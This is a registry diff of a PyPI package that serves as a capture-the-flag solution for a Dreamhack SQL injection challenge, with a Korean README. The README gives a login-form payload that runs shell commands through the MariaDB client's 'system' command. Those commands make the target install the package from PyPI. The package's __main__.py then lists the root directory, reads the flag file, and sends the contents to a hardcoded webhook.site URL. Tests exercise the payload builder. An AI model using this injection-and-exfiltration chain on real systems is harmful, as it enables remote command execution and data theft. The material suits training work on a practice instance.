dhflagrelay2613c8a6 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dhflagrelay2613c8a6-0.1.0/PKG-INFO +99 -0
- dhflagrelay2613c8a6-0.1.0/README.md +92 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/__init__.py +1 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/__main__.py +41 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6/settings.py +8 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/PKG-INFO +99 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/SOURCES.txt +10 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/dependency_links.txt +1 -0
- dhflagrelay2613c8a6-0.1.0/dhflagrelay2613c8a6.egg-info/top_level.txt +1 -0
- dhflagrelay2613c8a6-0.1.0/pyproject.toml +14 -0
- dhflagrelay2613c8a6-0.1.0/setup.cfg +4 -0
- dhflagrelay2613c8a6-0.1.0/tests/test_package.py +46 -0
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dhflagrelay2613c8a6
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Small command relay for a Dreamhack SQL injection practice challenge
|
|
5
|
+
Requires-Python: >=3.8
|
|
6
|
+
Description-Content-Type: text/markdown
|
|
7
|
+
|
|
8
|
+
# Dreamhack #2613: PyPI 패키지 방식 재현
|
|
9
|
+
|
|
10
|
+
이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
|
|
11
|
+
MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
|
|
12
|
+
파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
|
|
13
|
+
웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
|
|
14
|
+
|
|
15
|
+
패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
|
|
16
|
+
영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
|
|
17
|
+
이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
|
|
18
|
+
영소문자·숫자 이름으로 바꿔야 한다.
|
|
19
|
+
|
|
20
|
+
## 1. PyPI 계정과 업로드 도구
|
|
21
|
+
|
|
22
|
+
1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
|
|
23
|
+
2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
|
|
24
|
+
3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
|
|
25
|
+
프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
|
|
26
|
+
첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
|
|
27
|
+
4. 이 폴더를 PowerShell에서 열고 실행한다.
|
|
28
|
+
|
|
29
|
+
```powershell
|
|
30
|
+
py -m pip install --upgrade build twine
|
|
31
|
+
py -m unittest discover -s tests -v
|
|
32
|
+
py -m build --outdir dist-stage1
|
|
33
|
+
py -m twine upload -u __token__ .\dist-stage1\*
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
|
|
37
|
+
입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
|
|
38
|
+
`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
|
|
39
|
+
|
|
40
|
+
참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
|
|
41
|
+
[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
|
|
42
|
+
|
|
43
|
+
## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
|
|
44
|
+
|
|
45
|
+
다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
|
|
46
|
+
실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
|
|
47
|
+
바뀌었으면 URL을 바꾼다.
|
|
48
|
+
|
|
49
|
+
```powershell
|
|
50
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
51
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
|
|
55
|
+
요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
|
|
56
|
+
서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
|
|
57
|
+
부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
|
|
58
|
+
|
|
59
|
+
## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
|
|
60
|
+
|
|
61
|
+
1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
|
|
62
|
+
`"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
|
|
63
|
+
2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
|
|
64
|
+
버전의 배포 파일을 덮어쓸 수 없다.
|
|
65
|
+
3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
|
|
66
|
+
|
|
67
|
+
```powershell
|
|
68
|
+
py -m unittest discover -s tests -v
|
|
69
|
+
py -m build --outdir dist-stage2
|
|
70
|
+
py -m twine upload -u __token__ .\dist-stage2\*
|
|
71
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
72
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
|
|
76
|
+
아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
|
|
77
|
+
사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
|
|
78
|
+
|
|
79
|
+
## 페이로드 구조
|
|
80
|
+
|
|
81
|
+
`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
|
|
82
|
+
`password`로 다음 형태를 보낸다.
|
|
83
|
+
|
|
84
|
+
```text
|
|
85
|
+
\d Y Y system <실행할 명령> Y
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
|
|
89
|
+
처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
|
|
90
|
+
같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
|
|
91
|
+
요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
|
|
92
|
+
|
|
93
|
+
## 주의
|
|
94
|
+
|
|
95
|
+
- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
|
|
96
|
+
쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
|
|
97
|
+
- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
|
|
98
|
+
모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
|
|
99
|
+
- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
# Dreamhack #2613: PyPI 패키지 방식 재현
|
|
2
|
+
|
|
3
|
+
이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
|
|
4
|
+
MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
|
|
5
|
+
파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
|
|
6
|
+
웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
|
|
7
|
+
|
|
8
|
+
패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
|
|
9
|
+
영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
|
|
10
|
+
이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
|
|
11
|
+
영소문자·숫자 이름으로 바꿔야 한다.
|
|
12
|
+
|
|
13
|
+
## 1. PyPI 계정과 업로드 도구
|
|
14
|
+
|
|
15
|
+
1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
|
|
16
|
+
2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
|
|
17
|
+
3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
|
|
18
|
+
프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
|
|
19
|
+
첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
|
|
20
|
+
4. 이 폴더를 PowerShell에서 열고 실행한다.
|
|
21
|
+
|
|
22
|
+
```powershell
|
|
23
|
+
py -m pip install --upgrade build twine
|
|
24
|
+
py -m unittest discover -s tests -v
|
|
25
|
+
py -m build --outdir dist-stage1
|
|
26
|
+
py -m twine upload -u __token__ .\dist-stage1\*
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
|
|
30
|
+
입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
|
|
31
|
+
`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
|
|
32
|
+
|
|
33
|
+
참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
|
|
34
|
+
[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
|
|
35
|
+
|
|
36
|
+
## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
|
|
37
|
+
|
|
38
|
+
다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
|
|
39
|
+
실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
|
|
40
|
+
바뀌었으면 URL을 바꾼다.
|
|
41
|
+
|
|
42
|
+
```powershell
|
|
43
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
44
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
|
|
48
|
+
요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
|
|
49
|
+
서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
|
|
50
|
+
부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
|
|
51
|
+
|
|
52
|
+
## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
|
|
53
|
+
|
|
54
|
+
1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
|
|
55
|
+
`"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
|
|
56
|
+
2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
|
|
57
|
+
버전의 배포 파일을 덮어쓸 수 없다.
|
|
58
|
+
3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
|
|
59
|
+
|
|
60
|
+
```powershell
|
|
61
|
+
py -m unittest discover -s tests -v
|
|
62
|
+
py -m build --outdir dist-stage2
|
|
63
|
+
py -m twine upload -u __token__ .\dist-stage2\*
|
|
64
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
65
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
|
|
69
|
+
아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
|
|
70
|
+
사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
|
|
71
|
+
|
|
72
|
+
## 페이로드 구조
|
|
73
|
+
|
|
74
|
+
`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
|
|
75
|
+
`password`로 다음 형태를 보낸다.
|
|
76
|
+
|
|
77
|
+
```text
|
|
78
|
+
\d Y Y system <실행할 명령> Y
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
|
|
82
|
+
처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
|
|
83
|
+
같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
|
|
84
|
+
요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
|
|
85
|
+
|
|
86
|
+
## 주의
|
|
87
|
+
|
|
88
|
+
- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
|
|
89
|
+
쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
|
|
90
|
+
- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
|
|
91
|
+
모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
|
|
92
|
+
- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Dreamhack #2613 package entry point."""
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
"""Run as `python3 -m dhflagrelay2613c8a6 curl --query-cmd ls|cat`."""
|
|
2
|
+
|
|
3
|
+
import argparse
|
|
4
|
+
import os
|
|
5
|
+
import urllib.parse
|
|
6
|
+
import urllib.request
|
|
7
|
+
|
|
8
|
+
from . import settings
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def collect(query_cmd):
|
|
12
|
+
if query_cmd == "ls":
|
|
13
|
+
return "\n".join("/" + name for name in sorted(os.listdir("/")))
|
|
14
|
+
if query_cmd == "cat":
|
|
15
|
+
if not settings.FLAG_PATH or not settings.FLAG_PATH.startswith("/flag_"):
|
|
16
|
+
raise RuntimeError("Set FLAG_PATH to the exact flag path and publish a new version")
|
|
17
|
+
with open(settings.FLAG_PATH, "r", encoding="utf-8") as flag_file:
|
|
18
|
+
return flag_file.read()
|
|
19
|
+
raise ValueError("Unknown query command")
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def report(query_cmd, result):
|
|
23
|
+
params = urllib.parse.urlencode({"query_cmd": query_cmd, "result": result})
|
|
24
|
+
separator = "&" if "?" in settings.WEBHOOK_URL else "?"
|
|
25
|
+
url = settings.WEBHOOK_URL + separator + params
|
|
26
|
+
with urllib.request.urlopen(url, timeout=15) as response:
|
|
27
|
+
return response.status
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def main(argv=None):
|
|
31
|
+
parser = argparse.ArgumentParser()
|
|
32
|
+
parser.add_argument("mode", choices=["curl"])
|
|
33
|
+
parser.add_argument("--query-cmd", choices=["ls", "cat"], required=True)
|
|
34
|
+
args = parser.parse_args(argv)
|
|
35
|
+
result = collect(args.query_cmd)
|
|
36
|
+
report(args.query_cmd, result)
|
|
37
|
+
return 0
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
if __name__ == "__main__":
|
|
41
|
+
raise SystemExit(main())
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
"""Values compiled into the published wheel (the challenge filter cannot type URLs)."""
|
|
2
|
+
|
|
3
|
+
# This URL is public to anyone who downloads the PyPI package.
|
|
4
|
+
WEBHOOK_URL = "https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc"
|
|
5
|
+
|
|
6
|
+
# After the first `ls` run, replace None with the exact absolute file path,
|
|
7
|
+
# for example "/flag_0123456789abcdef.txt", then bump the package version.
|
|
8
|
+
FLAG_PATH = None
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dhflagrelay2613c8a6
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Small command relay for a Dreamhack SQL injection practice challenge
|
|
5
|
+
Requires-Python: >=3.8
|
|
6
|
+
Description-Content-Type: text/markdown
|
|
7
|
+
|
|
8
|
+
# Dreamhack #2613: PyPI 패키지 방식 재현
|
|
9
|
+
|
|
10
|
+
이 예제는 문제 풀이에 나온 경로를 그대로 따라간다. `login`의 SQL 삽입으로
|
|
11
|
+
MariaDB **클라이언트**의 `system` 명령을 실행하고, 입력 필터로 직접 쓸 수 없는
|
|
12
|
+
파일 경로와 웹훅 주소를 미리 PyPI 패키지 안에 넣는다. 첫 배포는 `/` 목록을
|
|
13
|
+
웹훅으로 보내고, 두 번째 배포는 실제 플래그 파일을 읽어 보낸다.
|
|
14
|
+
|
|
15
|
+
패키지/모듈 이름은 `dhflagrelay2613c8a6`이다. 공격 입력의 정규식이 허용하는
|
|
16
|
+
영소문자와 숫자만 사용하며, 구분자 `Y`와도 충돌하지 않는다. PyPI에 같은
|
|
17
|
+
이름이 이미 있으면 **프로젝트 이름, 패키지 폴더, 명령 예시를 모두** 새로운
|
|
18
|
+
영소문자·숫자 이름으로 바꿔야 한다.
|
|
19
|
+
|
|
20
|
+
## 1. PyPI 계정과 업로드 도구
|
|
21
|
+
|
|
22
|
+
1. [PyPI 가입](https://pypi.org/account/register/) 후 이메일을 인증한다.
|
|
23
|
+
2. Account settings에서 인증 앱(TOTP)이나 보안 키로 2단계 인증을 설정한다.
|
|
24
|
+
3. Account settings → API tokens에서 토큰을 만든다. 첫 프로젝트 업로드에는
|
|
25
|
+
프로젝트 전용 토큰을 아직 만들 수 없으므로 계정 범위 토큰을 사용한다.
|
|
26
|
+
첫 업로드 후 프로젝트 범위 토큰을 만들고 계정 범위 토큰은 폐기할 수 있다.
|
|
27
|
+
4. 이 폴더를 PowerShell에서 열고 실행한다.
|
|
28
|
+
|
|
29
|
+
```powershell
|
|
30
|
+
py -m pip install --upgrade build twine
|
|
31
|
+
py -m unittest discover -s tests -v
|
|
32
|
+
py -m build --outdir dist-stage1
|
|
33
|
+
py -m twine upload -u __token__ .\dist-stage1\*
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
마지막 명령에서 비밀번호를 묻는 프롬프트에 `pypi-`로 시작하는 API 토큰을
|
|
37
|
+
입력한다. 토큰을 소스 코드나 명령행에 직접 넣지 않는다. 업로드 후
|
|
38
|
+
`https://pypi.org/project/dhflagrelay2613c8a6/`에서 버전 `0.1.0`을 확인한다.
|
|
39
|
+
|
|
40
|
+
참고: [Python Packaging Guide](https://packaging.python.org/en/latest/tutorials/packaging-projects/),
|
|
41
|
+
[PyPI 계정·2FA·토큰 도움말](https://pypi.org/help/).
|
|
42
|
+
|
|
43
|
+
## 2. 첫 단계: 원격에서 설치하고 `/` 목록 받기
|
|
44
|
+
|
|
45
|
+
다음 명령은 로컬 `send_payload.py`가 로그인 요청을 만드는 명령이다. 서버에서
|
|
46
|
+
실행되는 명령은 `pip3 ...`와 `python3 ...` 부분이다. 문제 인스턴스 주소가
|
|
47
|
+
바뀌었으면 URL을 바꾼다.
|
|
48
|
+
|
|
49
|
+
```powershell
|
|
50
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
51
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd ls
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
웹훅 `https://webhook.site/1c87b41b-baa0-484a-b86a-8807a453dfcc`에서 두 번째
|
|
55
|
+
요청의 `result` 쿼리 값을 본다. 목록 속 `/flag_...txt` 파일명을 기록한다.
|
|
56
|
+
서버가 로그인 페이지에 `Failed to execute query`를 표시해도 `system`의
|
|
57
|
+
부수효과는 발생할 수 있다. 웹훅 수신 여부로 확인한다.
|
|
58
|
+
|
|
59
|
+
## 3. 두 번째 단계: 파일 경로를 패키지에 넣고 재배포
|
|
60
|
+
|
|
61
|
+
1. `dhflagrelay2613c8a6/settings.py`에서 `FLAG_PATH = None`을 실제
|
|
62
|
+
`"/flag_...txt"`로 바꾼다. 추측한 경로가 아닌 웹훅에서 확인한 정확한 경로를 쓴다.
|
|
63
|
+
2. `pyproject.toml`의 버전을 `0.1.0`에서 `0.1.1`로 올린다. PyPI는 같은
|
|
64
|
+
버전의 배포 파일을 덮어쓸 수 없다.
|
|
65
|
+
3. 아래처럼 **새 출력 폴더**에 빌드하고 새 버전만 업로드한다.
|
|
66
|
+
|
|
67
|
+
```powershell
|
|
68
|
+
py -m unittest discover -s tests -v
|
|
69
|
+
py -m build --outdir dist-stage2
|
|
70
|
+
py -m twine upload -u __token__ .\dist-stage2\*
|
|
71
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6
|
|
72
|
+
py .\send_payload.py http://host3.dreamhack.games:17702/ python3 -m dhflagrelay2613c8a6 curl --query-cmd cat
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
웹훅의 마지막 요청에서 `result` 값을 확인한다. `curl`은 OS의 curl 실행이
|
|
76
|
+
아니라 패키지 내부 명령의 이름이다. 패키지는 Python 표준 라이브러리만
|
|
77
|
+
사용하므로 원격 설치 때 추가 런타임 의존성은 없다.
|
|
78
|
+
|
|
79
|
+
## 페이로드 구조
|
|
80
|
+
|
|
81
|
+
`send_payload.py`는 로그인 폼에 `username`으로 백슬래시 하나(`\`)를,
|
|
82
|
+
`password`로 다음 형태를 보낸다.
|
|
83
|
+
|
|
84
|
+
```text
|
|
85
|
+
\d Y Y system <실행할 명령> Y
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
`\d Y`가 MariaDB 클라이언트 구분자를 `Y`로 바꾼다. 다음 `Y`까지의 SQL을
|
|
89
|
+
처리한 뒤 `system`이 앱 컨테이너의 셸 명령을 실행한다. 원본 풀이의 `x`와
|
|
90
|
+
같은 원리이며, 이 도구는 명령에 `Y`가 섞이면 구분자 충돌을 막기 위해
|
|
91
|
+
요청을 거부한다. `send_payload.py`는 실제 전송 전에 정규식 필터도 검사한다.
|
|
92
|
+
|
|
93
|
+
## 주의
|
|
94
|
+
|
|
95
|
+
- **패키지와 소스는 공개된다.** 웹훅 URL도 누구나 볼 수 있으므로 이 풀이에
|
|
96
|
+
쓰는 임시 웹훅을 사용하고, 끝나면 비활성화한다.
|
|
97
|
+
- API 토큰을 패키지 소스에 넣지 않는다. 이 예제의 로컬 테스트는 HTTP 요청을
|
|
98
|
+
모의 처리하므로 웹훅에 테스트 데이터를 보내지 않는다.
|
|
99
|
+
- 이 절차는 해당 Dreamhack 실습 인스턴스에만 사용한다.
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
dhflagrelay2613c8a6/__init__.py
|
|
4
|
+
dhflagrelay2613c8a6/__main__.py
|
|
5
|
+
dhflagrelay2613c8a6/settings.py
|
|
6
|
+
dhflagrelay2613c8a6.egg-info/PKG-INFO
|
|
7
|
+
dhflagrelay2613c8a6.egg-info/SOURCES.txt
|
|
8
|
+
dhflagrelay2613c8a6.egg-info/dependency_links.txt
|
|
9
|
+
dhflagrelay2613c8a6.egg-info/top_level.txt
|
|
10
|
+
tests/test_package.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
dhflagrelay2613c8a6
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=68"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "dhflagrelay2613c8a6"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Small command relay for a Dreamhack SQL injection practice challenge"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.8"
|
|
11
|
+
dependencies = []
|
|
12
|
+
|
|
13
|
+
[tool.setuptools]
|
|
14
|
+
packages = ["dhflagrelay2613c8a6"]
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
import io
|
|
2
|
+
import unittest
|
|
3
|
+
from unittest.mock import mock_open, patch
|
|
4
|
+
from urllib.parse import parse_qs, urlparse
|
|
5
|
+
|
|
6
|
+
from dhflagrelay2613c8a6 import __main__ as relay
|
|
7
|
+
from send_payload import make_password
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
class RelayTests(unittest.TestCase):
|
|
11
|
+
def test_ls_lists_root_and_sends_url_encoded_result(self):
|
|
12
|
+
response = io.BytesIO(b"ok")
|
|
13
|
+
response.status = 200
|
|
14
|
+
with patch.object(relay.os, "listdir", return_value=["z", "flag_abcd.txt", "a"]) as listing:
|
|
15
|
+
with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
|
|
16
|
+
self.assertEqual(relay.main(["curl", "--query-cmd", "ls"]), 0)
|
|
17
|
+
listing.assert_called_once_with("/")
|
|
18
|
+
url = open_url.call_args.args[0]
|
|
19
|
+
params = parse_qs(urlparse(url).query)
|
|
20
|
+
self.assertEqual(params["query_cmd"], ["ls"])
|
|
21
|
+
self.assertEqual(params["result"], ["/a\n/flag_abcd.txt\n/z"])
|
|
22
|
+
|
|
23
|
+
def test_cat_reads_hardcoded_path_and_sends_contents(self):
|
|
24
|
+
response = io.BytesIO(b"ok")
|
|
25
|
+
response.status = 200
|
|
26
|
+
with patch.object(relay.settings, "FLAG_PATH", "/flag_abcd.txt"):
|
|
27
|
+
with patch("builtins.open", mock_open(read_data="DH{example}\n")) as opened_file:
|
|
28
|
+
with patch.object(relay.urllib.request, "urlopen", return_value=response) as open_url:
|
|
29
|
+
self.assertEqual(relay.main(["curl", "--query-cmd", "cat"]), 0)
|
|
30
|
+
opened_file.assert_called_once_with("/flag_abcd.txt", "r", encoding="utf-8")
|
|
31
|
+
url = open_url.call_args.args[0]
|
|
32
|
+
params = parse_qs(urlparse(url).query)
|
|
33
|
+
self.assertEqual(params["query_cmd"], ["cat"])
|
|
34
|
+
self.assertEqual(params["result"], ["DH{example}\n"])
|
|
35
|
+
|
|
36
|
+
def test_payload_uses_only_allowed_characters(self):
|
|
37
|
+
command = "pip3 install --upgrade --no-cache-dir dhflagrelay2613c8a6"
|
|
38
|
+
self.assertEqual(make_password(command), "\\d Y Y system " + command + " Y")
|
|
39
|
+
|
|
40
|
+
def test_delimiter_collision_rejected(self):
|
|
41
|
+
with self.assertRaises(ValueError):
|
|
42
|
+
make_password("echo Y")
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
if __name__ == "__main__":
|
|
46
|
+
unittest.main()
|